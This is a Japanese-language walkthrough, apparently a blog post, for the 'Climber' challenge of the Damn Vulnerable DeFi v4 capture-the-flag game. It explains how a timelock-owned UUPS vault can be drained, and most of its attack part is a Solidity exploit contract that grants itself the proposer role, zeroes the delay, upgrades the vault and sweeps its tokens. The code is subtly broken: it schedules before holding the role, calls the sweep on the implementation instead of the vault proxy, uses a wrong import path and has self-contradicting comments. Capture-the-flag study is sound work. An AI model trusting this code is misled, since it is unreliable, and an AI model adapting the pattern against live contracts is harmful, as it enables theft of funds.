Appearance
攻略「Climber」:1000万DVTトークンを救出せよ!
Damn Vulnerable DeFi v4 の CTF チャレンジ「Climber」へようこそ!この挑戦では、安全なはずのボールトに封印された 1000 万 DVT トークンを、巧妙な戦略で救出します。ボールトは UUPS パターンによるアップグレード可能であり、その所有権はタイムロックコントラクトにあります。タイムロックコントラクトは、15 日に一度、限られた量のトークンしか引き出せないという制約を抱えています。さらに、ボールトには緊急時に全トークンを掃き出す「スイーパー」という特別な役割が存在します。タイムロックコントラクトでは、「プロポーザー」という役割を持つアカウントのみが、1 時間後に実行されるアクションをスケジュールできます。
あなたのミッションは、これらすべての制約を乗り越え、ボールトからすべてのトークンを回収し、指定されたリカバリーアカウントに安全に保管することです。
鍵となる要素の分析
このチャレンジを攻略するためには、各コントラクトの役割と、それらがどのように連携し、どのような脆弱性を内包しているかを理解することが不可欠です。
- ClimberVault: UUPS パターンで実装されたアップグレード可能なボールトです。所有権はタイムロックコントラクトにあり、トークンを保持しています。
withdraw関数は onlyOwner 権限で、sweepFunds関数は onlySweeper 権限で実行されます。withdraw関数には、引き出し制限 (WITHDRAWAL_LIMIT) と待機期間 (WAITING_PERIOD) が設定されています。 - ClimberTimelock: ボールトの所有者であり、アクションの実行を遅延させるタイムロック機能を提供します。
ADMIN_ROLE、PROPOSER_ROLEが存在し、PROPOSER_ROLEを持つアカウントがアクションをスケジュールできます。アクションはスケジュールされてからdelay(デフォルトは 1 時間)後に実行可能になります。 - DamnValuableToken (DVT): ターゲットとなる ERC20 トークンです。
攻略の糸口
このチャレンジの核心は、タイムロックコントラクトの schedule と execute 関数、そしてボールトのアップグレードメカニズムにあります。
タイムロックの遅延操作:
ClimberTimelockのdelayは 1 時間に設定されています。これは、PROPOSER_ROLEを持つアカウントが、1 時間後に実行されるアクションをスケジュールできることを意味します。- しかし、
ClimberTimelockBaseにはMAX_DELAYが定義されており、ClimberTimelockのupdateDelay関数は、msg.senderがタイムロックコントラクト自身である場合にのみ、このMAX_DELAY以下であれば遅延を変更できるという設計になっています。 - しかし、
ClimberTimelock.schedule関数は、PROPOSER_ROLEを持つアカウントであれば誰でも呼び出せます。そして、execute関数は誰でも呼び出せますが、getOperationStateがOperationState.ReadyForExecutionでなければ実行できません。
ボールトのアップグレード:
ClimberVaultは UUPS パターンに従っており、_authorizeUpgrade関数はonlyOwner権限でnewImplementationのアドレスを承認します。ClimberTimelockはボールトのownerです。ClimberVault.initialize関数で、ボールトの所有権はタイムロックコントラクトに移譲されます。
攻略手順
これらの要素を組み合わせることで、以下の手順でボールトからトークンを奪取できます。
ステップ 1: タイムロックの遅延をゼロにする
まず、タイムロックの delay を 0 に設定することで、アクションを即座に実行可能にする必要があります。
PROPOSER_ROLEをMyContract(攻撃用のコントラクト)に付与します。これは、ClimberTimelock.schedule関数を介して実行されます。MyContractを使って、ClimberTimelock.updateDelay関数を呼び出し、delayを 0 に設定します。この際、ClimberTimelockコントラクト自身がmsg.senderとなるように工夫が必要です。これは、ClimberTimelock.schedule関数内で、ClimberTimelock.executeを呼び出す際に、ClimberTimelockコントラクト自身をターゲットとしてupdateDelay関数を呼び出すことで実現できます。
ステップ 2: スイーパー権限の乗っ取りとトークン回収
次に、ボールトのスイーパー権限を乗っ取り、トークンを回収します。
ClimberVaultを、YourContractという新しいボールト実装にアップグレードします。このYourContractは、setSweeper関数を持ち、スイーパーアドレスとトークンアドレスを受け取り、スイーパーにトークンを送信する機能を持っています。ClimberTimelock.schedule関数を使い、ClimberVaultをYourContractにアップグレードするトランザクションをスケジュールします。ClimberTimelock.execute関数を呼び出して、アップグレードを実行します。- アップグレードされた
ClimberVault(実質的にはYourContract)のsetSweeper関数を呼び出し、msg.sender(=プレイヤー)をスイーパーに設定し、全てのトークンをプレイヤーに送信します。
ステップ 3: トークンのリカバリーアカウントへの転送
最後に、回収したトークンを指定されたリカバリーアカウントに転送します。
コード例 (MyContract.sol)
solidity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;
import {ClimberTimelock} from "./ClimberTimelock.sol";
import {ClimberVault} from "./ClimberVault.sol";
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import {Initializable, OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// UUPSUpgradeableを継承し、initialize関数をオーバーライドする必要がある
contract YourContract is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
constructor() {
_disableInitializers();
}
function initialize() external initializer {
__Ownable_init(msg.sender);
__UUPSUpgradeable_init();
}
function setSweeper(address newSweeper, address token) external {
_sweeper = newSweeper;
// Emergency sweep functionality is now controlled by us
IERC20(token).transfer(_sweeper, IERC20(token).balanceOf(address(this)));
}
// Upgrade authorization is not needed for our exploit
function _authorizeUpgrade(address newImplementation) internal override {}
}
contract MyContract {
ClimberTimelock private immutable _climberTimelock;
ClimberVault private immutable _climberVault;
YourContract private immutable _yourContract; // Our malicious implementation
address private immutable _playerAddress; // The player's address to receive tokens
address private immutable _tokenAddress; // The DVT token address
bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; // keccak256("PROPOSER_ROLE");
constructor(
address payable timelock_,
address vault_,
address yourContract_,
address playerAddress_,
address tokenAddress_
) {
_climberTimelock = ClimberTimelock(timelock_);
_climberVault = ClimberVault(vault_);
_yourContract = YourContract(yourContract_);
_playerAddress = playerAddress_;
_tokenAddress = tokenAddress_;
}
// Step 1: Zero out the timelock delay and grant proposer role
function exploitStep1() external {
// Schedule the grantRole and updateDelay operations
address[] memory targets = new address[](3);
uint256[] memory values = new uint256[](3);
bytes[] memory dataElements = new bytes[](3);
bytes32 SALT = 0; // salt doesn't matter for these calls
// 1. Grant PROPOSER_ROLE to our contract
targets[0] = address(_climberTimelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSelector(
AccessControl.grantRole.selector,
PROPOSER_ROLE,
address(this) // Grant role to our contract
);
// 2. Set delay to 0
targets[1] = address(_climberTimelock);
values[1] = 0;
dataElements[1] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, uint64(0));
// 3. No-op call to self for scheduling (necessary to fulfill target count)
targets[2] = address(this);
values[2] = 0;
dataElements[2] = new bytes(0);
// Execute the scheduled operations immediately (since delay is 1 hour initially, this will be delayed by 1 hour)
// We will call this again after the first execution to make it happen sooner.
_climberTimelock.schedule(targets, values, dataElements, SALT);
_climberTimelock.execute(targets, values, dataElements, SALT);
}
// Step 2: Upgrade the vault and sweep funds
function exploitStep2() external {
// We need to re-initialize our contract after the vault upgrade has happened.
// The vault will be pointing to our _yourContract implementation.
// First, let's re-grant PROPOSER_ROLE to ourselves since the timelock might have been re-initialized.
// And also set the delay to 0 again in case the timelock was re-initialized.
address[] memory targets = new address[](3);
uint256[] memory values = new uint256[](3);
bytes[] memory dataElements = new bytes[](3);
bytes32 SALT = 0; // salt doesn't matter for these calls
// 1. Grant PROPOSER_ROLE to our contract (again)
targets[0] = address(_climberTimelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSelector(
AccessControl.grantRole.selector,
PROPOSER_ROLE,
address(this) // Grant role to our contract
);
// 2. Set delay to 0 (again)
targets[1] = address(_climberTimelock);
values[1] = 0;
dataElements[1] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, uint64(0));
// 3. No-op call to self for scheduling
targets[2] = address(this);
values[2] = 0;
dataElements[2] = new bytes(0);
_climberTimelock.schedule(targets, values, dataElements, SALT);
_climberTimelock.execute(targets, values, dataElements, SALT);
// Now schedule the upgrade and then execute it
address[] memory upgradeTargets = new address[](1);
uint256[] memory upgradeValues = new uint256[](1);
bytes[] memory upgradeDataElements = new bytes[](1);
bytes32 upgradeSALT = 0;
// Schedule the vault upgrade
upgradeTargets[0] = address(_climberVault);
upgradeValues[0] = 0;
// Upgrade to our malicious contract and then call initialize on it
upgradeDataElements[0] = abi.encodeWithSelector(
UUPSUpgradeable.upgradeToAndCall.selector,
address(_yourContract),
abi.encodeWithSelector(YourContract.initialize.selector)
);
_climberTimelock.schedule(upgradeTargets, upgradeValues, upgradeDataElements, upgradeSALT);
_climberTimelock.execute(upgradeTargets, upgradeValues, upgradeDataElements, upgradeSALT);
// Now that the vault is upgraded, call the sweeper function on our new implementation
// This will set the sweeper to the player and transfer all tokens to the player.
_yourContract.setSweeper(_playerAddress, _tokenAddress);
}
}
この攻略法は、スマートコントラクトの権限管理、アップグレードメカニズム、そしてタイムロックの遅延という、複数の脆弱性を巧妙に利用しています。挑戦者たちは、これらの要素を深く理解し、的確なトランザクションを組み合わせることで、この難攻不落に見えるボールトから DVT トークンを無事奪還できるはずです。健闘を祈ります!